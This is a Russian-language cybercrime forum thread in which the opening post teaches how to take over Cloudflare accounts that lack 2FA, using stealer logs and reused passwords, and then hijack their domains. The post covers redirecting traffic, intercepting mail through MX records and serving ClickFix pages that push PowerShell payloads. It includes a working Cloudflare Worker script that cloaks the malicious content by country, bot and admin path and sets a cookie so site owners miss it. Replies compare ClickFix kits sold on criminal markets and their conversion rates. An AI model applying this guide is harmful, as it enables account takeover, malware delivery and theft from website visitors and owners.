LIMB
Вход Регистрация

тема

Cloudflare - как непаханное поле для кликфиксов, и всего прочего-прочего..

bezmyatezhnost · · 11 ответов · 927 просмотров

​

Всех приветствую, сегодня разберем штуку, которая по красоте исполнения заткнёт за пояс половину фишинговых кампаний. Речь пойдет о том, как один логин-пароль от Cloudflare-аккаунта превращает чужой легитимный домен в вашу личную площадку для раздачи чего угодно, от фишинговых страниц до малвари, причём так, что жертва может не замечать этого неделями. Просто человеческая лень и отсутствие двухфакторки на панели, которая управляет DNS'ом всего интернета.

Не удалось прогрузить медиа

​
Небольшая предыстория и контекст, зачем это вообще кому-то. Cloudflare на сегодняшний день это не просто CDN, это, по факту, DNS-провайдер номер один в мире. По разным оценкам через их DNS проходит от 20% до 30% всех доменов в интернете. Миллионы сайтов. И когда ты привязываешь домен к Cloudflare, ты отдаёшь им полный контроль над тем, куда этот домен указывает. A-запись, CNAME, MX, TXT, всё это редактируется из одной панели, логин-пароль, и ты король. И вот тут начинается самое весёлое, потому что значительная часть пользователей Cloudflare, от фрилансеров до целых агентств с десятками клиентских доменов, не удосуживается включить 2FA. На панели, которая контролирует DNS.



Не удалось прогрузить медиа
​


Почему именно Cloudflare, а не какой-нибудь GoDaddy или Namecheap? Потому что CF уникален в одном аспекте, он работает как прокси. Когда вы включаете оранжевое облачко (Proxy status: Proxied), весь трафик идёт через серверы Cloudflare, и реальный IP-адрес сервера скрыт. Это значит, что если вы меняете A-запись, посетители сайта видят не ваш сервер напрямую, а Cloudflare, который уже решает куда перенаправить. И вот это создаёт идеальные условия, потому что при смене A-записи SSL-сертификат остаётся валидным (CF выписывает свои Universal SSL сертификаты автоматически), домен выглядит абсолютно чистым в любом чекере, а пользователь видит знакомый URL с зелёным замочком. Доверие стопроцентное. Схема атаки на пальцах выглядит так. Первый шаг, получаем логин-пароль от Cloudflare-аккаунта. Откуда? Да откуда угодно. Утечки баз данных, стиллеры, фишинг на сам CF, или банально combo-лист из открытых источников. Люди повсюду переиспользуют пароли, и тот же пароль от какого-нибудь дырявого форума 2019 года вполне может подойти к Cloudflare-аккаунту. Второй шаг, логинимся, проверяем что 2FA не стоит (а оно не стоит в удивительном количестве случаев), и видим перед собой список доменов. Иногда один, иногда двадцать. Третий шаг, меняем A-запись нужного домена на IP нашего сервера. Четвёртый шаг, на нашем сервере поднят идентичный клон сайта, или редирект, или просто страница с загрузкой "обновления". Пятый шаг, profit, все посетители легитимного домена теперь идут к нам.

Не удалось прогрузить медиа

​
Давайте разберём каждый шаг подробнее, потому что дьявол как всегда в деталях. Итак, получение доступа к аккаунту. Самый массовый вектор на сегодня это стиллер-логи. На рынке (назовём это так) ежедневно появляются миллионы строк в формате URL:login:password, отсортированные по сервисам. И Cloudflare там не исключение. Грепаем по dash.cloudflare.com, получаем пачку кредов, и начинаем пробовать. Логика тривиальная, заходим на dash.cloudflare.com, вбиваем email и пароль из лога. Если аккаунт без 2FA, нас сразу кидает в дашборд, полный доступ, делай что хочешь. Если с 2FA, панель просит ввести код из приложения, и без него дальше не пройдёшь. И вот тут статистика печальная, потому что из условных 100 валидных кредов, 2FA стоит в лучшем случае у 15-20. Остальные 80 сидят голые. Окей, мы внутри. Что дальше? Первое что видим после логина, это дашборд со списком всех доменов (зон) на аккаунте.

Не удалось прогрузить медиа

​
У кого-то один домен, у кого-то двадцать, а у агентств бывает и по пятьдесят. Каждый висит с зелёным статусом Active, и к каждому полный доступ. Тыкаем на нужный домен, переходим в раздел DNS -> Records, и вот они, все записи как на ладони, A, AAAA, CNAME, MX, TXT, всё. Находим A-запись, жмём Edit, стираем текущий IP и вбиваем наш. Один клик на Save. Всё, домен теперь указывает на наш сервер.

Не удалось прогрузить медиа

​
И вот тут важнейший момент, оранжевое облачко. В Cloudflare рядом с каждой DNS-записью есть переключатель Proxy status. Если облачко оранжевое (Proxied), то трафик идёт через серверы CF, и SSL-сертификат выписывается автоматически. Мы оставляем его включённым. Это значит, что после смены IP посетитель увидит https://domain.watafa с валидным сертификатом, зелёный замочек, всё чистенько. Если бы мы выключили прокси (серое облачко, DNS only), то нам пришлось бы самим поднимать Let's Encrypt на нашем сервере, что и палевно, и занимает время. А с CF-прокси сертификат уже есть, и он обновляется сам.

Не удалось прогрузить медиа

​
И вот тут начинается самая красивая часть. Что мы можем сделать на нашем сервере? Вариантов масса, и каждый зависит от цели. Первый вариант, и самый сочный на сегодня, ClickFix. Если кто не в курсе, это относительно свежая техника социальной инженерии, которая взлетела в 2024-2025 и до сих пор прекрасно работает. Суть простая, на захваченном домене поднимаем страницу с "верификацией", типа Cloudflare Turnstile, или капча, или "подтвердите что вы не робот". Пользователь заходит на знакомый домен, видит привычное окно проверки, ничего подозрительного. Но вместо настоящей капчи ему выводится инструкция, нажмите Win+R, вставьте код и нажмите Enter. А в буфер обмена при этом уже скопирована PowerShell-команда, которая тихо скачивает и запускает наш пейлоад. Красота в том, что пользователь САМ выполняет команду на своей машине, ни один антивирус не среагирует на "пользователь открыл Run и что-то ввёл", это же легитимное действие. А тот факт, что это происходит на настоящем домене с зелёным замочком, убирает последние сомнения. Человек думает, ну, сайт же настоящий, значит и проверка настоящая. ClickFix на обычном фишинговом домене уже работает неплохо, а на реальном захваченном домене это вообще стопроцентный хит. Ни браузерные фильтры, ничего не сработает, домен чистый, репутация безупречная.

Не удалось прогрузить медиа

​
Второй вариант, раздача малвари напрямую. Допустим, домен принадлежит какой-нибудь софтверной компании, и с него скачивают установщик. Мы поднимаем у себя точную копию страницы загрузки, но подменяем .exe файл на наш, с зашитым RAT'ом. Пользователь скачивает "обновление" с официального домена, с зелёным замочком, думает что всё легитимно, запускает.. и всё. Это, кстати, не теория, именно так работали некоторые supply-chain атаки последних лет, только там компрометировали сам сервер сборки, а тут мы компрометируем DNS, что технически даже проще.

Не удалось прогрузить медиа

​
Третий вариант, перехват почты. Помимо A-записи, мы можем поменять MX-записи. А это значит, что вся почта, которая летит на @example.watafa, пойдёт на наш почтовый сервер. Входящие письма от клиентов, уведомления от платёжных систем, ссылки для сброса паролей..- Всё наше. И никто не узнает, потому что отправитель получит нормальный ответ от SMTP, а получатель (мы) спокойно прочитает письмо. Настоящий получатель его просто не увидит.

Не удалось прогрузить медиа

​
А теперь про хитрости, чтоб продержаться подольше. Потому что тупо поменять A-запись и ждать, это детский сад. Настоящий владелец рано или поздно заметит, если сайт просто перестанет работать. По этому есть несколько приёмов. Приём первый, не ломай то что работает. Вместо того чтобы заменять основной сайт, работаем с поддоменами. Заходим в DNS -> Records, жмём Add record, выбираем тип A, в поле Name пишем update (или cdn-assets, или что-нибудь правдоподобное), в Content вбиваем наш IP, облачко оранжевое, Save. Готово, теперь update.example.watafa указывает на наш сервер, а основной сайт продолжает работать как ни в чём не бывало. И вот тут можно провернуть красивейшую связку. Через Page Rules или Worker на основном домене делаем так, что при первом заходе пользователя его тихо редиректит на наш поддомен, допустим verify.example.watafa. Там его встречает страница с ClickFix, "подтвердите что вы не робот", Win+R, пейлоад отработал. После чего страница автоматически редиректит обратно на основной домен, где сайт работает как ни в чём не бывало. Пользователь ничего не заподозрил, прошёл "проверку", попал на нужный сайт, всё нормально. А у нас уже шелл на его машине. Причём редирект на поддомен можно повесить только на первый визит (по куке или по IP), чтоб при повторном заходе человек шёл сразу на сайт без всяких проверок. Так и владелец ничего не заметит, когда зайдёт проверить, ведь его IP или кука уже в "белом списке".

Не удалось прогрузить медиа

​
Приём второй, Page Rules и Workers. Cloudflare позволяет настроить правила перенаправления прямо из панели, без единой строчки кода. Заходим в Rules → Page Rules, создаём правило, в URL pattern пишем example.watafa/download/*, в настройках выбираем Forwarding URL -> 301 Redirect, и указываем наш сервер. Всё, основной сайт работает как работал, но кто зайдёт на /download/ получит наш контент. Ещё мощнее, Cloudflare Workers. Это серверлесс-функции, которые выполняются на edge-серверах CF. Заходим в Workers & Pages, создаём новый Worker, и пишем простенькую логику, для определённых IP-диапазонов подменяем контент, а для всех остальных (включая владельца сайта) показываем оригинал. По сути, владелец сайта заходит на свой домен, видит что всё нормально, а его посетители в это время получают совсем другой контент. Тут уже уровень изощрённости на порядок выше.


Не удалось прогрузить медиа

​
Разберем чутка подробнее как такое провернуть. Для начала нам стоить создать воркера как я писал выше, для этого не заходя еще в нужный нам домен создаем глобального воркера - он находится в разделе Build ~> Compute ~> Workers & Pages. Там мы находим кнопочку Create application, и там создаем простой Hello World из шаблонов. 

Не удалось прогрузить медиа

​
Деплоим его, и после чего нам вылезет окошко со свей инфой по воркеру, но нас это не особо волнует, нам нужно написать код нужной нам логики, для этого возьмем к примеру распространение малварины лишь на юзеров условной юсы, и после того как они уже побывали на нашей подделочке, и сделали допустим целовое действие, пускай это будет скопирование команды под вин+р, будут попадать на оригинальный линк. Идея есть, теперь надо отредачить логику воркера.

Не удалось прогрузить медиа

​
Клацаем по кнопке Edit Code. И попадаем в таковой визуал студио код в режиме онлайн.

Не удалось прогрузить медиа

​
Туда мы впихиваем такой код, где вам остается лишь вставить свой хтмл, который по вашему мнению лучше всего кОнВеРтИт. Тут уже предусмотрены базовые вещи как получение айпи страны юзера, немного притирок от админов, ботов, конкретно в этом мы рассматриваем юсу, и после чего как юзер попал на зараженную страницу (не знаю как правильно сказать) ), ему выдается кука на сутки, чтоб более не выдавать ему наш клик фикс. Дальше уже остается лишь сохранить нашего воркера и только тогда, уже перейти в нужный нам домен, на который будем линковать сия воркера. 
Спойлер: скелет
Code:
const CONFIG = {
    TARGET_COUNTRY: 'US',
    ORIGINAL_DOMAIN: 'сайтдомена.спизженного'
};

async function getCountryFromAPI(ip) {
    try {
        const r = await fetch(`http://ip-api.com/json/${ip}?fields=countryCode`, { cf: { cacheTtl: 3600 } });
        if (!r.ok) return null;
        const d = await r.json();
        return d?.countryCode && d.countryCode !== 'XX' ? d.countryCode : null;
    } catch { return null; }
}

function isBot(ua) {
    if (!ua) return false;
    const p = ['bot','crawler','spider','scraper','scan','curl','wget','python','java','headless','puppeteer','selenium','googlebot','bingbot','yandexbot'];
    return p.some(x => ua.toLowerCase().includes(x));
}

function isAdmin(p) {
    const a = ['/wp-admin','/wp-login','/admin','/administrator','/login','/signin','/auth','/panel','/cpanel','/dashboard'];
    return a.some(x => p.toLowerCase().startsWith(x) || p.toLowerCase().includes(x));
}

export default {
    async fetch(request, env, ctx) {
        const url = new URL(request.url);
        const ip = request.headers.get('CF-Connecting-IP') || request.headers.get('X-Forwarded-For')?.split(',')[0] || '0.0.0.0';
        const cf = request.headers.get('CF-IPCountry');
        const ua = request.headers.get('User-Agent') || '';
        const cookie = request.headers.get('Cookie') || '';

        if (cookie.includes('verified=1') || isBot(ua) || isAdmin(url.pathname)) {
            return fetch(`https://${CONFIG.ORIGINAL_DOMAIN}${url.pathname}${url.search}`, {
                method: request.method,
                headers: request.headers,
                body: request.body
            });
        }

        let country = cf;
        if (!country || country === 'XX' || country === 'T1' || country === 'A1') {
            const api = await getCountryFromAPI(ip);
            if (api) country = api;
        }

        if (!country || country === 'XX' || country !== CONFIG.TARGET_COUNTRY) {
            return fetch(`https://${CONFIG.ORIGINAL_DOMAIN}${url.pathname}${url.search}`, {
                method: request.method,
                headers: request.headers,
                body: request.body
            });
        }

        return new Response('', {
            status: 302,
            headers: {
                'Location': `https://${CONFIG.ORIGINAL_DOMAIN}${url.pathname}${url.search}`,
                'Set-Cookie': `verified=1; path=/; max-age=86400; Secure; HttpOnly`,
                'Cache-Control': 'no-cache,no-store,must-revalidate'
            }
        });
    }
};

Не удалось прогрузить медиа

​
После того как мы выбрали нужный нам домен, в сайдбаре слева мы переходим во вкладочку Workers & Routes, и добавляем нашего воркера на все маршруты, в данном случае, но можно выбрать любой другой, если условно на сайте есть страничка со скачкой файла, отдавайте такую же страницу как в оригинале, но подменяйте ссылку на загрузку на малварь, и после целевого действия уже отдавайте оригинальную. 

Не удалось прогрузить медиа

​
Роуты настроить можете как хотите, да и путь какой вам нужно, маски тут так же замечательно работают. Просто звездочкой. После чего траффик уже заливается и идет на том же домене, с вашим кликфиксом или чем еще другим. Mission Completed - так сказать.





Не удалось прогрузить медиа

​
Теперь давайте поговорим о масштабах проблемы, потому что это не какая-то теоретическая атака из учебника. На одном аккаунте может висеть от одного до сотни доменов, особенно у агентств, которые управляют сайтами клиентов. Представьте себе, web-студия, которая держит 50 клиентских доменов на одном CF-аккаунте с паролем Qwerty123 и без двухфакторки. Один стиллер на ноутбуке менеджера, и у тебя доступ ко всем пятидесяти доменам. Каждый, потенциальная площадка для раздачи.

Не удалось прогрузить медиа
​


Что мы имеем по итогу? На сегодняшний день рынок под ClickFix-кампании выглядит так, все массово скупают взломанные вордпрессы, джумлы, друпалы, любые CMS'ки, лишь бы домен был живой и с трафиком. Ломают через дырявые плагины, через утёкшие админки, через шеллы, и вешают туда свои страницы с "верификацией". Это уже поставлено на поток, целые каналы в телеге, маркеты, автоматизация. Но вот что интересно, за всё время что я мониторю эту тему, я нашёл буквально одного человека, который скупает именно Cloudflare-аккаунты. Одного. При том что вектор через CF объективно мощнее, ты не зависишь от CMS, не нужно искать уязвимости в коде, не нужен шелл, не нужен доступ к файловой системе сервера. Ты просто меняешь одну строчку в DNS-панели, и весь домен твой. С SSL, с репутацией, с трафиком. И при этом почти никто этим не пользуется, по крайней мере массово. Почему? Может потому что народ привык работать с CMS'ками и просто не думает в эту сторону. Может потому что CF-аккаунты в логах встречаются реже чем wp-admin. А может потому что эта статья ещё не вышла. Всем пока, не болейте!
👍65 ❤️9 🔥6 👏11 🤔17 😢4
Не удалось прогрузить медиа


внутри еще можно посещалку смотреть, спасибо за наводку, оплатите автору
👍2
Ответbezmyatezhnost

Так и владелец ничего не заметит, когда зайдёт проверить, ведь его IP или кука уже в "белом списке".

Почему не заметит? Владелец 100% заходит на свой ресурс с другого устройства и возможно даже с другого аккаунта или его коллеги. Да даже юзеры могут пожаловаться быстро и все пофиксят в короткий срок. Так что это палево.

Ответbezmyatezhnost

создаём новый Worker, и пишем простенькую логику, для определённых IP-диапазонов подменяем контент, а для всех остальных (включая владельца сайта) показываем оригинал.

Напишите и продемонстрируйте нам на реальном таргете как вы это делали ранее.
👍5 🔥1
Ответcybergangster

Почему не заметит? Владелец 100% заходит на свой ресурс с другого устройства и возможно даже с другого аккаунта или его коллеги. Да даже юзеры могут пожаловаться быстро и все пофиксят в короткий срок. Так что это…

https://vimeo.com/1204614229?share=copy&fl=sv&fe=ci - на примере юа, точно так же можно делать и с айпи
👍3
Ответbezmyatezhnost

https://vimeo.com/1204614229?share=copy&fl=sv&fe=ci - на примере юа, точно так же можно делать и с айпи

По этому видеоролику если честно ничего не понятно, аккуратно отредактируйте вашу статью и допишите на примере реального таргета
👍2
В принципе наверное можно раздавать на своем домене с неделю куку повысив вероятность отсекания постоянников и дальше свободно юзерам без нее раздавать все что хочется
👍1
ну способ довольно известный, на wordpress тоже часто кликфикс вешают, только основная проблема не в добыче акков или создания фейк страницы, а в самом кликфиксе
Нормального кликфикса сейчас нет, видел на ввх продается за 1к, но все равно работает не на всех версиях винды + типичного win +r enter уже нет
👍1
Ответrnkgen

ну способ довольно известный, на wordpress тоже часто кликфикс вешают, только основная проблема не в добыче акков или создания фейк страницы, а в самом кликфиксе Нормального кликфикса сейчас нет, видел на ввх продается…

ввх уж точно не то место где надо искать кликфиксы) на экспе есть продукт якись-то за $380/month, но судя по общению с знакомыми - говно; в производстве клик-фикса на самом деле нет ничего сложного, быть может пару вечерков посидеть, покудахтать и все)
👍1
Ответbezmyatezhnost

ввх уж точно не то место где надо искать кликфиксы) на экспе есть продукт якись-то за $380/month, но судя по общению с знакомыми - говно; в производстве клик-фикса на самом деле нет ничего сложного, быть может пару…

не соглашусь, я таки кф пользую щяс - шедеврально скрывается и конверсия до 25 процентов бывает долетает, то что за 380 - да, хрень
👍3
Ответbezmyatezhnost

ввх уж точно не то место где надо искать кликфиксы) на экспе есть продукт якись-то за $380/month, но судя по общению с знакомыми - говно; в производстве клик-фикса на самом деле нет ничего сложного, быть может пару…

основная проблема в том, что через win +r способ умер + он логируется и винда довольно быстро фиксит, даже если что то придумать. Но в целом согласен что на вах, что на экспе такие себе варианты, тестил недавно панельку за 500$ в месяц, а там дефолтные win + x и потом i, что сильно режет конверт
Ответyouaretheone

не соглашусь, я таки кф пользую щяс - шедеврально скрывается и конверсия до 25 процентов бывает долетает, то что за 380 - да, хрень

у тебя  через win + x, или через win + r? или вообще через експлоеер?
👍1
Ответrnkgen

у тебя через win + x, или через win + r? или вообще через експлоеер?

win+x наскок конверт режет?
👍1

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.